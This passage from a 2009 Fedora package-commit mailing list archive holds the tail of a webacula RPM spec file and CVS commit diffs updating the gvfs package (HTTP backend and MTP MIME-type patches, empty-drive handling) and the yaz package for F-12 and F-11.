rm -f ./install/.htaccess
rm -f ./languages/.htaccess
rm -f ./application/.htaccess
rm -f ./docs/.htaccess



%build


%install
rm -rf $RPM_BUILD_ROOT

mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/%{name}
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/application
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/html
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/languages
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/library
mkdir -p $RPM_BUILD_ROOT%{_datadir}/%{name}/install

cp ./application/config.ini  $RPM_BUILD_ROOT%{_sysconfdir}/%{name}/config.ini
rm -f ./application/config.ini
ln -s %{_sysconfdir}/%{name}/config.ini  $RPM_BUILD_ROOT%{_datadir}/%{name}/application/config.ini 

cp ./install/webacula.conf  $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/webacula.conf
rm -f ./install/webacula.conf

install -p -m 755 ./install/webacula_clean_tmp_files.sh \
   $RPM_BUILD_ROOT%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
rm -f ./install/webacula_clean_tmp_files.sh

cp -pr ./application $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./html        $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./languages   $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./library     $RPM_BUILD_ROOT%{_datadir}/%{name}
cp -pr ./install     $RPM_BUILD_ROOT%{_datadir}/%{name}


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc 4CONTRIBUTORS 4CONTRIBUTORS.ru AUTHORS COPYING README UPDATE ChangeLog
%doc docs/
%{_datadir}/%{name}/application
%{_datadir}/%{name}/html
%{_datadir}/%{name}/library
%{_datadir}/%{name}/install
%{_sysconfdir}/cron.daily/webacula_clean_tmp_files.sh
%dir %{_datadir}/%{name}
%dir %{_datadir}/%{name}/languages
%config(noreplace) %{_sysconfdir}/httpd/conf.d/webacula.conf
%config(noreplace) %{_sysconfdir}/%{name}/config.ini
%lang(de) %{_datadir}/%{name}/languages/de
%lang(en) %{_datadir}/%{name}/languages/en
%lang(fr) %{_datadir}/%{name}/languages/fr
%lang(pt) %{_datadir}/%{name}/languages/pt
%lang(ru) %{_datadir}/%{name}/languages/ru



%changelog
* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-6
- Fix #526855.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-5
- Fix #526855. Remove Zend Framework from source.

* Tue Oct 13 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-4
- Fix #526855

* Mon Oct 12 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-3
- Fix #526855

* Sat Oct 10 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-2
- Fix #526855 "Review Request"

* Thu Oct 08 2009 Yuri Timofeev <tim4dev at gmail.com> 3.3-1
- Initial Spec file creation for Fedora



From tbzatek at fedoraproject.org  Fri Oct 16 12:26:34 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri, 16 Oct 2009 12:26:34 +0000 (UTC)
Subject: rpms/gvfs/devel gvfs-1.4.1-http-soup-header-parsing.patch, NONE,
	1.1 gvfs-1.4.1-http-suport-stream-query-info.patch, NONE,
	1.1 gvfs-1.4.1-mtp-devices-mime.patch, NONE,
	1.1 0001-Disallow-mounting-empty-drives.patch, 1.1,
	1.2 0002-Disallow-ejecting-empty-drives.patch, 1.1,
	1.2 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch, 
	1.1, 1.2 gvfs.spec, 1.159, 1.160
Message-ID: <20091016122634.B33AF11C00E5@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16987

Modified Files:
	0001-Disallow-mounting-empty-drives.patch 
	0002-Disallow-ejecting-empty-drives.patch 
	0003-Silently-drop-eject-error-messages-when-detaching-dr.patch 
	gvfs.spec 
Added Files:
	gvfs-1.4.1-http-soup-header-parsing.patch 
	gvfs-1.4.1-http-suport-stream-query-info.patch 
	gvfs-1.4.1-mtp-devices-mime.patch 
Log Message:
* Fri Oct 16 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-7
- HTTP: Support g_file_input_stream_query_info()
- HTTP: Use libsoup header parsing function
- Set correct MIME type for MTP music players


gvfs-1.4.1-http-soup-header-parsing.patch:
 configure.ac             |    2 +-
 daemon/gvfsbackendhttp.c |   30 +++++-------------------------
 2 files changed, 6 insertions(+), 26 deletions(-)

--- NEW FILE gvfs-1.4.1-http-soup-header-parsing.patch ---
>From 67069c464a2cb827a2afe2b7886e79707c7149e2 Mon Sep 17 00:00:00 2001
From: Christian Kellner <gicmo at gnome.org>
Date: Fri, 16 Oct 2009 10:34:02 +0000
Subject: [HTTP] Use soup's (2.26) header parsing function

Libsoup has (since 2.26) specific functions for parsing various
well-known http headers, including Content-Type and Content-Length.
Bump the soup requirement accordingly. Based on a patch rom Robert
Ancell <robert.ancell at gmail.com>
---
diff --git a/configure.ac b/configure.ac
index a2c9932..5069d73 100644
--- a/configure.ac
+++ b/configure.ac
@@ -121,7 +121,7 @@ HTTP_CFLAGS=
 HTTP_LIBS=
 
 if test "x$enable_http" != "xno"; then
-  PKG_CHECK_EXISTS(libsoup-gnome-2.4 >= 2.25.1, msg_http=yes)
+  PKG_CHECK_EXISTS(libsoup-gnome-2.4 >= 2.26.0, msg_http=yes)
 
   if test "x$msg_http" = "xyes"; then
     PKG_CHECK_MODULES(HTTP, libsoup-gnome-2.4 libxml-2.0)
diff --git a/daemon/gvfsbackendhttp.c b/daemon/gvfsbackendhttp.c
index 23d1f97..ee531d1 100644
--- a/daemon/gvfsbackendhttp.c
+++ b/daemon/gvfsbackendhttp.c
@@ -549,40 +549,24 @@ file_info_from_message (SoupMessage *msg,
   if (basename != NULL &&
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_DISPLAY_NAME))
-    {
-      ed_name = gvfs_file_info_populate_names_as_local (info, basename);
-    }
+    ed_name = gvfs_file_info_populate_names_as_local (info, basename);
 
   if (ed_name != NULL &&
       g_file_attribute_matcher_matches (matcher,
                                         G_FILE_ATTRIBUTE_STANDARD_EDIT_NAME))
-    {
-      g_file_info_set_edit_name (info, ed_name);
-    }
+    g_file_info_set_edit_name (info, ed_name);
 
   g_free (basename);
   g_free (ed_name);
 
-  text = soup_message_headers_get (msg->response_headers,
-                                   "Content-Length");
-  if (text)
-    {
-      guint64 size = g_ascii_strtoull (text, NULL, 10);
-      g_file_info_set_size (info, size);
-    }
-
+  if (soup_message_headers_get_encoding(msg->response_headers) == SOUP_ENCODING_CONTENT_LENGTH)
+    g_file_info_set_size (info, soup_message_headers_get_content_length (msg->response_headers));
 
-  text = soup_message_headers_get (msg->response_headers,
-                                   "Content-Type");
+  text = soup_message_headers_get_content_type (msg->response_headers, NULL);
   if (text)
     {
-      char *p = strchr (text, ';');
-      char *tmp = NULL;
       GIcon *icon;
 
-      if (p != NULL)
-        text = tmp = g_strndup (text, p - text);
-
       g_file_info_set_file_type (info, G_FILE_TYPE_REGULAR);
       g_file_info_set_content_type (info, text);
       g_file_info_set_attribute_string (info, G_FILE_ATTRIBUTE_STANDARD_FAST_CONTENT_TYPE, text);
@@ -590,9 +574,6 @@ file_info_from_message (SoupMessage *msg,
       icon = g_content_type_get_icon (text);
       g_file_info_set_icon (info, icon);
       g_object_unref (icon);
-
-      g_free (tmp);
-
     }
 
 
--
cgit v0.8.2

gvfs-1.4.1-http-suport-stream-query-info.patch:
 gvfsbackendhttp.c   |   85 +++++++++++++++++++++++++++++++++-------------------
 soup-input-stream.c |    7 ++++
 soup-input-stream.h |    3 +
 3 files changed, 64 insertions(+), 31 deletions(-)

--- NEW FILE gvfs-1.4.1-http-suport-stream-query-info.patch ---
>From 47a6cb95996df5538bab4b9b07cdd8f944c0b24b Mon Sep 17 00:00:00 2001
From: Christian Kellner <gicmo at gnome.org>
Date: Fri, 16 Oct 2009 10:18:17 +0000
Subject: [HTTP] Support g_file_input_stream_query_info()

Fixes bug 598505. Based on a patch from Robert Ancell.
---
diff --git a/daemon/gvfsbackendhttp.c b/daemon/gvfsbackendhttp.c
index 97c6ce7..23d1f97 100644
--- a/daemon/gvfsbackendhttp.c
+++ b/daemon/gvfsbackendhttp.c
@@ -529,30 +529,15 @@ try_close_read (GVfsBackend       *backend,
 
 /* *** query_info () *** */
 
-static void 
-query_info_ready (SoupSession *session,
-                  SoupMessage *msg,
-                  gpointer     user_data)
+static void
+file_info_from_message (SoupMessage *msg,
+                        GFileInfo *info,
+                        GFileAttributeMatcher *matcher)
 {
-  GFileAttributeMatcher *matcher;
-  GVfsJobQueryInfo      *job;
-  const SoupURI         *uri;
-  const char            *text;
-  GFileInfo             *info;
-  char                  *basename;
-  char                  *ed_name;
-
-  job     = G_VFS_JOB_QUERY_INFO (user_data);
-  info    = job->file_info;
-  matcher = job->attribute_matcher;
-  ed_name = NULL;
-
-  if (! SOUP_STATUS_IS_SUCCESSFUL (msg->status_code))
-    {
-      g_vfs_job_failed_from_http_status (G_VFS_JOB (job), msg->status_code,
-                                         msg->reason_phrase);
-      return;
-    }
+  const SoupURI *uri;
+  const char    *text;
+  char          *basename;
+  char          *ed_name = NULL;
 
   uri = soup_message_get_uri (msg);
   basename = http_uri_get_basename (uri->path);
@@ -636,7 +621,29 @@ query_info_ready (SoupSession *session,
                                         G_FILE_ATTRIBUTE_ETAG_VALUE,
                                         text);
     }
+}
+
+static void
+query_info_ready (SoupSession *session,
+                  SoupMessage *msg,
+                  gpointer     user_data)
+{
+  GFileAttributeMatcher *matcher;
+  GVfsJobQueryInfo      *job;
+  GFileInfo             *info;
+
+  job     = G_VFS_JOB_QUERY_INFO (user_data);
+  info    = job->file_info;
+  matcher = job->attribute_matcher;
+
+  if (! SOUP_STATUS_IS_SUCCESSFUL (msg->status_code))
+    {
+      g_vfs_job_failed_from_http_status (G_VFS_JOB (job), msg->status_code,
+                                         msg->reason_phrase);
+      return;
+    }
 
+  file_info_from_message (msg, info, matcher);
 
   g_vfs_job_succeeded (G_VFS_JOB (job));
 }
@@ -663,6 +670,24 @@ try_query_info (GVfsBackend           *backend,
 }
 
 
+static gboolean
+try_query_info_on_read (GVfsBackend           *backend,
+                        GVfsJobQueryInfoRead  *job,
+                        GVfsBackendHandle      handle,
+                        GFileInfo             *info,
+                        GFileAttributeMatcher *attribute_matcher)
+{
+    SoupMessage *msg = soup_input_stream_get_message (G_INPUT_STREAM (handle));
+
+    file_info_from_message (msg, info, attribute_matcher);
+    g_object_unref (msg);
+
+    g_vfs_job_succeeded (G_VFS_JOB (job));
+
+    return TRUE;
+}
+
+
 static void
 g_vfs_backend_http_class_init (GVfsBackendHttpClass *klass)
 {
@@ -673,11 +698,11 @@ g_vfs_backend_http_class_init (GVfsBackendHttpClass *klass)
 
   backend_class = G_VFS_BACKEND_CLASS (klass); 
 
-  backend_class->try_mount         = try_mount;
-  backend_class->try_open_for_read = try_open_for_read;
-  backend_class->try_read          = try_read;
-  backend_class->try_seek_on_read  = try_seek_on_read;
-  backend_class->try_close_read    = try_close_read;
-  backend_class->try_query_info    = try_query_info;
-
+  backend_class->try_mount              = try_mount;
+  backend_class->try_open_for_read      = try_open_for_read;
+  backend_class->try_read               = try_read;
+  backend_class->try_seek_on_read       = try_seek_on_read;
+  backend_class->try_close_read         = try_close_read;
+  backend_class->try_query_info         = try_query_info;
+  backend_class->try_query_info_on_read = try_query_info_on_read;
 }
diff --git a/daemon/soup-input-stream.c b/daemon/soup-input-stream.c
index facce17..e1928af 100644
--- a/daemon/soup-input-stream.c
+++ b/daemon/soup-input-stream.c
@@ -912,6 +912,13 @@ soup_input_stream_truncate (GSeekable     *seekable,
   return FALSE;
 }
 
+SoupMessage *
+soup_input_stream_get_message (GInputStream *stream)
+{
+  SoupInputStreamPrivate *priv = SOUP_INPUT_STREAM_GET_PRIVATE (stream);
+  return priv->msg ? g_object_ref (priv->msg) : NULL;
+}
+
 GQuark
 soup_http_error_quark (void)
 {
diff --git a/daemon/soup-input-stream.h b/daemon/soup-input-stream.h
index dd2c540..f425291 100644
--- a/daemon/soup-input-stream.h
+++ b/daemon/soup-input-stream.h
@@ -70,6 +70,8 @@ gboolean      soup_input_stream_send_finish (GInputStream        *stream,
 					     GAsyncResult        *result,
 					     GError             **error);
 
+SoupMessage  *soup_input_stream_get_message (GInputStream         *stream);
+
 #define SOUP_HTTP_ERROR soup_http_error_quark()
 GQuark soup_http_error_quark (void);
 
--
cgit v0.8.2

gvfs-1.4.1-mtp-devices-mime.patch:
 gvfsbackendgphoto2.c |   14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.1-mtp-devices-mime.patch ---
>From a8cfac72e68eca250799065c59e3722fc88c5b87 Mon Sep 17 00:00:00 2001
From: Martin Pitt <martin.pitt at ubuntu.com>
Date: Mon, 12 Oct 2009 14:31:58 +0000
Subject: Bug 597585 ? 2.28 lists mtp devices as being cameras with gudev backend

Set correct MIME type for MTP music players based on whether it's a camera or a
music player.

Signed-off-by: David Zeuthen <davidz at redhat.com>
---
diff --git a/daemon/gvfsbackendgphoto2.c b/daemon/gvfsbackendgphoto2.c
index 3edd26f..45d030a 100644
--- a/daemon/gvfsbackendgphoto2.c
+++ b/daemon/gvfsbackendgphoto2.c
@@ -740,7 +740,9 @@ setup_for_device (GVfsBackendGphoto2 *gphoto2_backend)
 {
   gchar *devname;
   char *comma;
+  gboolean is_media_player = FALSE;
   char *camera_x_content_types[] = {"x-content/image-dcf", NULL};
+  char *media_player_x_content_types[] = {"x-content/audio-player", NULL};
 
   /* turn usb:001,041 string into an udev device name */
   if (!g_str_has_prefix (gphoto2_backend->gphoto2_port, "usb:"))
@@ -763,16 +765,25 @@ setup_for_device (GVfsBackendGphoto2 *gphoto2_backend)
 
       /* determine icon name */
       if (g_udev_device_has_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER_ICON_NAME"))
+	{
           gphoto2_backend->icon_name = g_strdup (g_udev_device_get_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER_ICON_NAME"));
+	  is_media_player = TRUE;
+	}
       else if (g_udev_device_has_property (gphoto2_backend->udev_device, "ID_MEDIA_PLAYER"))
+	{
           gphoto2_backend->icon_name = g_strdup ("multimedia-player");
+	  is_media_player = TRUE;
+	}
       else
           gphoto2_backend->icon_name = g_strdup ("camera-photo");
     }
   else
       DEBUG ("-> did not find matching udev device");
 
-  g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), camera_x_content_types);
+  if (is_media_player)
+      g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), media_player_x_content_types);
+  else
+      g_vfs_backend_set_x_content_types (G_VFS_BACKEND (gphoto2_backend), camera_x_content_types);
 }
 
 static void
--
cgit v0.8.2

0001-Disallow-mounting-empty-drives.patch:
 gvfsbackendcomputer.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0001-Disallow-mounting-empty-drives.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/devel/0001-Disallow-mounting-empty-drives.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Disallow-mounting-empty-drives.patch	14 Oct 2009 13:40:04 -0000	1.1
+++ 0001-Disallow-mounting-empty-drives.patch	16 Oct 2009 12:26:33 -0000	1.2
@@ -1,6 +1,6 @@
-From a0c8d67cfea614c8c920af7c4ce2d90e4ce7256f Mon Sep 17 00:00:00 2001
+From 37a559fdaf0b5cb880acd3718ed134fa7c48884d Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:05:44 +0200
+Date: Tue, 13 Oct 2009 17:11:23 +0200
 Subject: [PATCH 1/3] Disallow mounting empty drives
 
 This concerns only removable media drives without any detected volumes.
@@ -8,13 +8,13 @@ The end result is no Mount item in Nauti
 on double-click over the drive icon.
 
 The exception is floppy drives, where we always allow mount without need
-to detecting media manually first.
+of detecting media manually first.
 ---
  daemon/gvfsbackendcomputer.c |    2 +-
  1 files changed, 1 insertions(+), 1 deletions(-)
 
 diff --git a/daemon/gvfsbackendcomputer.c b/daemon/gvfsbackendcomputer.c
-index 4f4b9ca..59eadba 100644
+index 4f4b9ca..7c6000c 100644
 --- a/daemon/gvfsbackendcomputer.c
 +++ b/daemon/gvfsbackendcomputer.c
 @@ -473,7 +473,7 @@ recompute_files (GVfsBackendComputer *backend)

0002-Disallow-ejecting-empty-drives.patch:
 ggdudrive.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

Index: 0002-Disallow-ejecting-empty-drives.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/devel/0002-Disallow-ejecting-empty-drives.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0002-Disallow-ejecting-empty-drives.patch	14 Oct 2009 13:40:05 -0000	1.1
+++ 0002-Disallow-ejecting-empty-drives.patch	16 Oct 2009 12:26:33 -0000	1.2
@@ -1,24 +1,25 @@
-From bef30fdc1cb0986326eac9acd7b5125cd8f4b61c Mon Sep 17 00:00:00 2001
+From 441c8a2daa493228b0a0466006f784c63a31a01e Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:21:51 +0200
+Date: Tue, 13 Oct 2009 17:12:33 +0200
 Subject: [PATCH 2/3] Disallow ejecting empty drives
 
 Similar to previous commit, hide the Eject menu item when drive has no media.
 ---
- monitor/gdu/ggdudrive.c |    3 ++-
- 1 files changed, 2 insertions(+), 1 deletions(-)
+ monitor/gdu/ggdudrive.c |    4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
 
 diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
-index b99ef6e..3509382 100644
+index 20f8940..79c6809 100644
 --- a/monitor/gdu/ggdudrive.c
 +++ b/monitor/gdu/ggdudrive.c
-@@ -188,7 +188,8 @@ update_drive (GGduDrive *drive)
+@@ -188,7 +188,9 @@ update_drive (GGduDrive *drive)
         *
         * See also below where we e.g. set can_eject to TRUE for non-removable drives.
         */
 -      drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
-+      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) && gdu_device_is_media_available (device)) ||
-+                           gdu_device_drive_get_requires_eject (device);
++      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) &&
++                          gdu_device_is_media_available (device) && ! _is_pc_floppy_drive (device)) ||
++                         gdu_device_drive_get_requires_eject (device);
        drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
        drive->can_poll_for_media = gdu_device_is_removable (device);
      }

0003-Silently-drop-eject-error-messages-when-detaching-dr.patch:
 ggdudrive.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

Index: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
===================================================================
RCS file: /cvs/extras/rpms/gvfs/devel/0003-Silently-drop-eject-error-messages-when-detaching-dr.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch	14 Oct 2009 13:40:05 -0000	1.1
+++ 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch	16 Oct 2009 12:26:34 -0000	1.2
@@ -1,6 +1,6 @@
-From 6d7f1a8a842376be8f72cc1fc90fc3101e9752a3 Mon Sep 17 00:00:00 2001
+From becda6e9e9f8edb0042c0ca4844228ccfc907a7b Mon Sep 17 00:00:00 2001
 From: Tomas Bzatek <tbzatek at redhat.com>
-Date: Fri, 2 Oct 2009 15:35:41 +0200
+Date: Tue, 13 Oct 2009 17:13:02 +0200
 Subject: [PATCH 3/3] Silently drop eject error messages when detaching drive
 
 If there's no media in drive and yet it's marked as detachable,
@@ -11,10 +11,10 @@ This is the case with my USB SD card rea
  1 files changed, 13 insertions(+), 2 deletions(-)
 
 diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
-index 3509382..eb70d75 100644
+index 79c6809..309e18c 100644
 --- a/monitor/gdu/ggdudrive.c
 +++ b/monitor/gdu/ggdudrive.c
-@@ -648,6 +648,18 @@ eject_cb (GduDevice *device,
+@@ -641,6 +641,18 @@ eject_cb (GduDevice *device,
  {
    GSimpleAsyncResult *simple = G_SIMPLE_ASYNC_RESULT (user_data);
    GGduDrive *drive;
@@ -23,7 +23,7 @@ index 3509382..eb70d75 100644
 +  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
 +  drive_detachable = drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN;
 +
-+  if (error != NULL && error->code == G_IO_ERROR_FAILED && 
++  if (error != NULL && error->code == G_IO_ERROR_FAILED &&
 +      drive_detachable && ! drive->has_media && drive->is_media_removable)
 +    {
 +      /* Silently drop the error if there's no media in drive and we're still trying to detach it (see below) */
@@ -33,7 +33,7 @@ index 3509382..eb70d75 100644
  
    if (error != NULL)
      {
-@@ -658,8 +670,7 @@ eject_cb (GduDevice *device,
+@@ -651,8 +663,7 @@ eject_cb (GduDevice *device,
        goto out;
      }
  


Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/devel/gvfs.spec,v
retrieving revision 1.159
retrieving revision 1.160
diff -u -p -r1.159 -r1.160
--- gvfs.spec	14 Oct 2009 13:40:05 -0000	1.159
+++ gvfs.spec	16 Oct 2009 12:26:34 -0000	1.160
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -55,6 +55,10 @@ Patch9: 0002-Disallow-ejecting-empty-dri
 Patch10: 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=528181
 Patch11: obex-crasher.patch
+# from upstream
+Patch12: gvfs-1.4.1-http-suport-stream-query-info.patch
+Patch13: gvfs-1.4.1-http-soup-header-parsing.patch
+Patch14: gvfs-1.4.1-mtp-devices-mime.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -158,6 +162,9 @@ and iPod Touches to applications using g
 %patch9 -p1 -b .eject-empty
 %patch10 -p1 -b .error-detaching
 %patch11 -p1 -b .push-fail
+%patch12 -p1 -b .http-query-info
+%patch13 -p1 -b .http-headers
+%patch14 -p1 -b .mtp-mime
 
 %build
 
@@ -311,6 +318,11 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Fri Oct 16 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-7
+- HTTP: Support g_file_input_stream_query_info()
+- HTTP: Use libsoup header parsing function
+- Set correct MIME type for MTP music players
+
 * Wed Oct 14 2009 Bastien Nocera <bnocera at redhat.com> 1.4.0-6
 - Fix crasher in ObexFTP (#528181)
 - Don't always overwrite on trash restore



From guidograzioli at fedoraproject.org  Fri Oct 16 12:28:33 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri, 16 Oct 2009 12:28:33 +0000 (UTC)
Subject: rpms/yaz/F-12 .cvsignore, 1.14, 1.15 sources, 1.14, 1.15 yaz.spec, 
	1.19, 1.20
Message-ID: <20091016122833.9B6B911C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17552

Modified Files:
	.cvsignore sources yaz.spec 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
- Upstream 3.0.49 (bugfixes and feature enhancements)
- Require pkgconfig for libyaz-devel (guidelines MUST)




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	27 Jun 2009 13:52:02 -0000	1.14
+++ .cvsignore	16 Oct 2009 12:28:32 -0000	1.15
@@ -1 +1 @@
-yaz-3.0.46.tar.gz
+yaz-3.0.49.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-12/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	27 Jun 2009 13:52:02 -0000	1.14
+++ sources	16 Oct 2009 12:28:32 -0000	1.15
@@ -1 +1 @@
-c1fa6be0ba3f3fd0392f3051b78927d8  yaz-3.0.46.tar.gz
+7402c6444386dc7db6be8bb9617e1e4d  yaz-3.0.49.tar.gz


Index: yaz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-12/yaz.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- yaz.spec	27 Jul 2009 08:53:30 -0000	1.19
+++ yaz.spec	16 Oct 2009 12:28:33 -0000	1.20
@@ -1,6 +1,6 @@
 Name:           yaz
-Version:        3.0.46
-Release:        2%{?dist}
+Version:        3.0.49
+Release:        1%{?dist}
 Summary:        Z39.50/SRW/SRU programs
 
 Group:          Applications/Internet
@@ -22,7 +22,7 @@ Summary:        Z39.50 libraries
 Group:          System Environment/Libraries
 
 %description -n lib%{name}
-Z39.50 is a client server protocol for searching and retrieving 
+Z39.50 is a client-server protocol for searching and retrieving 
 information from remote computer databases (ANSI/NISO Z39.50 
 protocol).
 
@@ -32,13 +32,16 @@ Summary:        Development files for Z3
 Group:          Development/Libraries
 Requires:       libyaz = %{version}-%{release}
 Requires:       libxml2-devel, openssl-devel, readline-devel
+Requires:       pkgconfig
 
 %description -n lib%{name}-devel
-Development libraries and includes for the libyaz package.
+Development libraries and includes for the lib%{name} package.
 
 
 %prep
 %setup -q
+# Following file prevents make install to work (conflicts with ./NEWS)
+rm doc/NEWS
 
 
 %build
@@ -51,11 +54,11 @@ make LIBTOOL=%{_bindir}/libtool %{?_smp_
 
 
 %install
-rm -rf $RPM_BUILD_ROOT
-make LIBTOOL=%{_bindir}/libtool DESTDIR=$RPM_BUILD_ROOT install
+rm -rf %{buildroot}
+make LIBTOOL=%{_bindir}/libtool DESTDIR=%{buildroot} install
 # Remove cruft
-find $RPM_BUILD_ROOT -name '*.la' -o -name '*.a' | xargs rm -f
-rm -rf $RPM_BUILD_ROOT%{_docdir}
+find %{buildroot} -name '*.la' -o -name '*.a' | xargs rm -f
+rm -rf %{buildroot}%{_docdir}
 
 
 %check
@@ -63,7 +66,7 @@ make check
 
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+rm -rf %{buildroot}
 
 
 %post -n lib%{name} -p /sbin/ldconfig
@@ -109,6 +112,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
+- Upstream 3.0.49 (bugfixes and feature enhancements)
+- Require pkgconfig for libyaz-devel (guidelines MUST)
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.46-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From guidograzioli at fedoraproject.org  Fri Oct 16 12:43:11 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri, 16 Oct 2009 12:43:11 +0000 (UTC)
Subject: rpms/yaz/F-11 .cvsignore, 1.14, 1.15 sources, 1.14, 1.15 yaz.spec, 
	1.18, 1.19
Message-ID: <20091016124311.51B0111C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaz/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21831

Modified Files:
	.cvsignore sources yaz.spec 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 3.0.49-1
- Upstream 3.0.49 (bugfixes and feature enhancements)
- Require pkgconfig for libyaz-devel (guidelines MUST)




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	27 Jun 2009 13:52:01 -0000	1.14
+++ .cvsignore	16 Oct 2009 12:43:10 -0000	1.15
@@ -1 +1 @@
-yaz-3.0.46.tar.gz
+yaz-3.0.49.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-11/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	27 Jun 2009 13:52:02 -0000	1.14
+++ sources	16 Oct 2009 12:43:11 -0000	1.15
@@ -1 +1 @@
-c1fa6be0ba3f3fd0392f3051b78927d8  yaz-3.0.46.tar.gz
+7402c6444386dc7db6be8bb9617e1e4d  yaz-3.0.49.tar.gz


Index: yaz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaz/F-11/yaz.spec,v
retrieving revision 1.18
